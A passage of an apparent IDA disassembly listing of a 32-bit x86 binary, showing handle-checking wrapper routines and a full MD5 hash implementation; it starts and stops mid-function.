mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E670: ; CODE XREF: _294ADE7B:0040185Cj push esi mov esi, [esp+8] test esi, esi jz short loc_42E6C0 mov eax, [esi] test eax, eax jz short loc_42E6C0 cmp eax, 0FFFFFFFFh jnz short loc_42E691 push esi call sub_4018B6 add esp, 4 test eax, eax jnz short loc_42E6C5 loc_42E691: ; CODE XREF: _294ADE7B:0042E682j mov esi, [esi] push 1 push 2 push esi call ds:dword_4B26F4 dec eax jz short loc_42E6BC dec eax jz short loc_42E6B5 dec eax jnz short loc_42E6C0 add esi, 4 push esi call sub_4016DB add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_42E6B5: ; CODE XREF: _294ADE7B:0042E6A2j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_42E6BC: ; CODE XREF: _294ADE7B:0042E69Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42E6C0: ; CODE XREF: _294ADE7B:0042E677j ; _294ADE7B:0042E67Dj ... mov eax, 16h loc_42E6C5: ; CODE XREF: _294ADE7B:0042E68Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E6F0: ; CODE XREF: _294ADE7B:00401217j push esi mov esi, [esp+8] push 0 push esi call sub_4016B3 add esp, 8 test eax, eax jnz short loc_42E71C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_42E717 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42E717: ; CODE XREF: _294ADE7B:0042E70Ej xor eax, eax mov [esi+20h], ecx loc_42E71C: ; CODE XREF: _294ADE7B:0042E702j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E730 proc near ; CODE XREF: sub_4016B8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_4016B3 add esp, 8 test eax, eax jnz short loc_42E7BC call sub_4012AD test eax, eax jnz short loc_42E754 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: sub_42E730+1Bj push edi push esi push eax call sub_40196F add esp, 8 test eax, eax jz short loc_42E76D mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E76D: ; CODE XREF: sub_42E730+31j cmp dword ptr [esi+20h], 1 jnz short loc_42E77D mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E77D: ; CODE XREF: sub_42E730+41j mov eax, [esi+4] push eax call sub_4015BE mov edi, eax add esp, 4 test edi, edi jnz short loc_42E7B4 mov eax, [esp+8+arg_4] test eax, eax jz short loc_42E7A6 mov ecx, [esi+4] push eax push ecx call ds:dword_4B37FC test eax, eax jz short loc_42E7B4 loc_42E7A6: ; CODE XREF: sub_42E730+65j push esi call sub_4016F4 add esp, 4 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E7B4: ; CODE XREF: sub_42E730+5Dj ; sub_42E730+74j mov edi, 3 mov eax, edi pop edi loc_42E7BC: ; CODE XREF: sub_42E730+12j pop esi retn sub_42E730 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E7F0 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42E815 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_42E815: ; CODE XREF: sub_42E7F0+15j call ds:dword_4B37F8 cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_42E83E push esi mov edi, 0Bh call ds:dword_4B3AAC mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E83E: ; CODE XREF: sub_42E7F0+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_42E85B mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E85B: ; CODE XREF: sub_42E7F0+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_42E7F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E890 proc near ; CODE XREF: sub_4019BFj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_42E920 cmp [ebx+0Ch], ebp jz short loc_42E8FC cmp [ebx+4], ebp jz short loc_42E8FC lea eax, [ebx+8] push eax call sub_40208B add esp, 4 test eax, eax jnz short loc_42E8FC push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_42E8EF push edi loc_42E8C3: ; CODE XREF: sub_42E890+5Cj push esi call sub_40208B add esp, 4 test eax, eax jnz short loc_42E8EA mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010AF push esi call sub_40105A add esp, 8 mov esi, edi loc_42E8EA: ; CODE XREF: sub_42E890+3Ej cmp esi, ebp jnz short loc_42E8C3 pop edi loc_42E8EF: ; CODE XREF: sub_42E890+30j lea eax, [ebx+8] push eax call sub_4010AF add esp, 4 pop esi loc_42E8FC: ; CODE XREF: sub_42E890+13j ; sub_42E890+18j ... mov eax, [ebx] push eax call ds:dword_4B37F4 cmp [ebx+4], ebp jz short loc_42E916 lea ecx, [ebx+8] push ecx call sub_402090 add esp, 4 loc_42E916: ; CODE XREF: sub_42E890+78j push ebx call ds:dword_4B3AAC add esp, 4 loc_42E920: ; CODE XREF: sub_42E890+Aj pop ebp xor eax, eax pop ebx retn sub_42E890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E960 proc near ; CODE XREF: sub_401F5Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_4B26E0 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_42E984 call sub_4012AD test eax, eax jnz short loc_42E993 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_42E984: ; CODE XREF: sub_42E960+11j push eax call sub_40116D add esp, 4 test eax, eax jnz short loc_42E993 mov eax, ebx loc_42E993: ; CODE XREF: sub_42E960+1Aj ; sub_42E960+2Fj push edi xor edi, edi test esi, esi jz short loc_42E9F5 test eax, eax jz short loc_42E9E2 mov ecx, [esi+4] test ecx, ecx jz short loc_42E9E2 test ebx, ebx jz short loc_42E9E2 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_42E9CD loc_42E9B7: ; CODE XREF: sub_42E960+65j cmp [ecx+8], esi jz short loc_42E9C9 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_42E9B7 jmp short loc_42E9CD ; --------------------------------------------------------------------------- loc_42E9C9: ; CODE XREF: sub_42E960+5Aj test ecx, ecx jnz short loc_42E9E2 loc_42E9CD: ; CODE XREF: sub_42E960+55j ; sub_42E960+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401C99 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_42E9F5 loc_42E9E2: ; CODE XREF: sub_42E960+3Cj ; sub_42E960+43j ... mov ecx, [esi] push ebx push ecx call ds:dword_4B3814 test eax, eax jnz short loc_42E9F5 mov edi, 0Bh loc_42E9F5: ; CODE XREF: sub_42E960+38j ; sub_42E960+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_42E960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA30 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4B3898 mov esi, eax call sub_430A5C mov edi, eax mov eax, [esp+0Ch+arg_0] mov ecx, [eax] push ecx call ds:dword_4B37EC push esi mov ebx, eax call ds:dword_4B37F0 push edi call sub_430AB0 pop edi mov eax, ebx pop esi pop ebx retn sub_42EA30 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA80 proc near ; CODE XREF: sub_401974j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_42EA80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EAC0 proc near ; CODE XREF: sub_401B09j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_42EAEB inc dword ptr [esi+14h] loc_42EAEB: ; CODE XREF: sub_42EAC0+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_42EB49 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_42F8C0 lea ecx, [esi+18h] push ecx push esi call sub_42EC30 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_42EB45 loc_42EB29: ; CODE XREF: sub_42EAC0+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_42EC30 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_42EB29 loc_42EB45: ; CODE XREF: sub_42EAC0+67j xor eax, eax jmp short loc_42EB4B ; --------------------------------------------------------------------------- loc_42EB49: ; CODE XREF: sub_42EAC0+41j xor ebp, ebp loc_42EB4B: ; CODE XREF: sub_42EAC0+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_42F8C0 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_42EAC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EBA0 proc near ; CODE XREF: sub_401FCDj var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_42F7E0 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_42EBD3 mov ecx, 78h loc_42EBD3: ; CODE XREF: sub_42EBA0+2Cj sub ecx, eax push ecx push offset aA_0 ; "€" push edi call sub_401B09 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401B09 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_42F7E0 push 58h push 0 push edi call sub_42F8F0 add esp, 30h pop edi pop esi add esp, 8 retn sub_42EBA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EC30 proc near ; CODE XREF: sub_42EAC0+58p ; sub_42EAC0+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_42F850 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_42F8F0 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_42EC30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 125h dup(0CCh) dword_42F6A5 dd 0CCCCCCCCh ; DATA XREF: sub_40CFB0+39Er db 137h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F7E0 proc near ; CODE XREF: sub_42EBA0+14p ; sub_42EBA0+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_42F827 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_42F7FA: ; CODE XREF: 